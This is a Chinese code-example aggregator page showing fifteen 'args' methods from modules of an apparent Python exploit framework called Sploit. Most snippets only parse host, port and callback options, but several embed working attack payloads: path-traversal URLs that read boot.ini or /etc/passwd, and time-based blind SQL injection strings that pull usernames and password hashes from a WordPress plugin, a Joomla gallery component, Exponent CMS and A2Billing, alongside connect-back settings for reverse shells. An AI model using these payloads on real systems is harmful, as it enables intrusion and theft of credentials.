本文整理汇总了Python中Sploit.Sploit.args方法的典型用法代码示例。如果您正苦于以下问题:Python Sploit.args方法的具体用法?Python Sploit.args怎么用?Python Sploit.args使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Sploit.Sploit
的用法示例。
在下文中一共展示了Sploit.args方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.username = self.args.get('USERNAME', self.username)
self.password = self.args.get('PASSWORD', self.password)
self.basepath = self.args.get('BASEPATH', self.basepath)
self.callback_ip = self.args.get('CALLBACK_IP', OPTIONS["CALLBACK_IP"])
示例2: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.filename = self.args.get('FILENAME', 'boot.ini')
self.url = self.make_url('/%2e%2e/' * 16 + self.filename)
return
示例3: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.path = self.args.get('PATH', OPTIONS['PATH'])
self.username = self.args.get('USERNAME', self.username)
self.password = self.args.get('PASSWORD', self.password)
self.basepath = self.args.get('BASEPATH', self.basepath)
示例4: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get("HOST", OPTIONS["HOST"])
self.port = self.args.get("PORT", OPTIONS["PORT"])
self.vhost = self.args.get("VHOST", OPTIONS["VHOST"])
self.vhost = self.vhost if not self.vhost.endswith("/") else self.vhost[0:-1]
self.path_to_file = self.args.get("PATH TO FILE", OPTIONS["PATH TO FILE"])
self.url = "http://{}:{}/{}/{}{}".format(self.host, self.port, self.vhost, self.vuln_path, self.path_to_file)
pass
示例5: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get("HOST", self.host)
self.from_port = self.args.get("FROM_PORT", self.from_port)
self.to_port = self.args.get("TO_PORT", self.to_port)
self.nthreads = self.args.get("THREADS", self.nthreads)
self.type = self.args.get("SEARCH", "opened")
self.scanner = Scanner(self.from_port, self.to_port, self.host)
return
示例6: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get("HOST", self.host)
self.port = self.args.get("PORT", self.port)
self.depth = self.args.get("DEPTH", self.depth)
self.url = self.args.get("URL", self.url)
self.system = self.args.get("System", self.system)
self.file_name = "/etc/passwd" if "GNU" in self.system else "boot.ini"
return
示例7: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
target = self.args.get('TARGET', "Wnd XP Sp2")
if '3' in target:
self.addr = 0x27155CA
return
示例8: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.ssl = bool(self.args.get('SSL', self.ssl))
self.ttl = int(self.args.get('TTL', self.ttl))
self.basepath = self.args.get('BASEPATH', self.basepath)
self.url = self.make_url('/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1')
self.data = "%20and%20SUBSTR((SELECT%20CONCAT(user_login,CHAR(58),user_pass)%20FROM%20wp_users%20where%20id=1),{pos},1)=CHAR({char})%20and%20sleep(5)"
示例9: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
ssl = self.args.get("SSL", OPTIONS["SSL"])
protocol = "https://" if ssl else "http://"
self.host = self.args.get("HOST", OPTIONS["HOST"]).replace("/", "").replace("\\","")
self.port = self.args.get("PORT", OPTIONS["PORT"])
self.connectback_ip = self.args.get("CONNECTBACK_IP", OPTIONS["CONNECTBACK_IP"])
if self.args['listener']:
self.connectback_port = self.args['listener']['PORT']
self.url = "{proto}{host}:{port}/".format(proto=protocol, host=self.host, port=self.port)
示例10: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get("HOST", self.host).replace("/", "").replace("\\","")
self.port = self.args.get("PORT", self.host)
self.vhost = self.args.get("VHOST", self.vhost)
self.vhost = self.vhost if self.vhost.startswith("/") else ("/" + self.vhost)
self.command = self.args.get("COMMAND", self.command)
self.url = "http://%s:%s%s" % (self.host, self.port, self.vhost)
if not self.url.endswith("/"):
self.url += "/"
示例11: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get("HOST", self.host)
self.port = int(self.args.get("PORT", self.port))
self.ssl = bool(self.args.get("SSL", self.ssl))
self.basepath = self.args.get("BASEPATH", self.basepath)
self.url = self.make_url(
"/index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2&theme_id=1%20RLIKE%20%28SELECT%20%28CASE%20WHEN%20%28substring%28%28select%20concat%28username,char%2858%29,password%29%20from%20{table}%20order%20by%20registerDate%20desc%20limit%201%29,{pos},1%29=char%28{char}%29%29%20THEN%204%20ELSE%200x28%20END%29%29"
)
return
示例12: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.ssl = bool(self.args.get('SSL', self.ssl))
self.ttl = int(self.args.get('TTL', self.ttl))
self.basepath = self.args.get('BASEPATH', self.basepath)
self.username = self.args.get('USERNAME', self.username)
self.password = self.args.get('PASSWORD', self.password)
self.url = self.make_url('/exponent-2.4.0/index.php')
self.data = "action=manage_ranks&controller=container&lastpage=http://192.168.1.207/exponent-2.4.0/untitled&model=container&rerank[]=alesha/' AND (SELECT * FROM (select IF((SUBSTRING((SELECT CONCAT(username,CHAR(58),password) FROM exponent_user where id=1),{pos},1)) = CHAR({char}), SLEEP(5), '1'))A) AND 'a'='a&[email protected]"
示例13: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.filed = self.args.get('FILENAME', self.filed)
self.ssl = self.args.get('SSL', self.ssl)
if self.ssl:
self.url = "https://"+self.host+":"+str(self.port)
else:
self.url = "http://"+self.host+":"+str(self.port)
return
示例14: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get("HOST", OPTIONS["HOST"])
self.port = self.args.get("PORT", OPTIONS["PORT"])
self.vhost = self.args.get("VHOST", OPTIONS["VHOST"])
self.vhost = self.vhost if not self.vhost.endswith("/") else self.vhost[0:-1]
self.url = "http://{}:{}/{}/".format(self.host, self.port, self.vhost)
self.connectback_host = self.args.get("CONNECT_BACK_HOST", OPTIONS["CONNECT_BACK_HOST"])
self.log_file = self.args.get("LOG_FILE", OPTIONS["LOG_FILE"])
self.method = self.args.get("METHOD", OPTIONS["METHOD"])
if self.args['listener']:
self.listener_port = self.args['listener']['PORT']
示例15: args
# 需要导入模块: from Sploit import Sploit [as 别名]
# 或者: from Sploit.Sploit import args [as 别名]
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', OPTIONS["HOST"])
self.ssl = self.args.get('SSL', OPTIONS['SSL'])
self.table = self.args.get('TABLE', OPTIONS['TABLE'])
self.column = self.args.get('COLUMN', OPTIONS['COLUMN'])
self.ttl = self.args.get('TTL', OPTIONS['TTL'])
self.debug = self.args.get('SHOW EVERY FOUND SYMBOL', OPTIONS['SHOW EVERY FOUND SYMBOL'])
proto = "https" if self.ssl else "http"
self.url = "{}://{}".format(proto, self.host) + "/a2billing/customer/iridium_threed.php?transactionID="
self.vuln_data = '-1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,if(ascii(mid(IFNULL(CAST({column} AS CHAR),0x20),{char_pos},1))={char_ord},sleep({ttl}),0) from {table} LIMIT {entry_no},1'
self.log(self.url)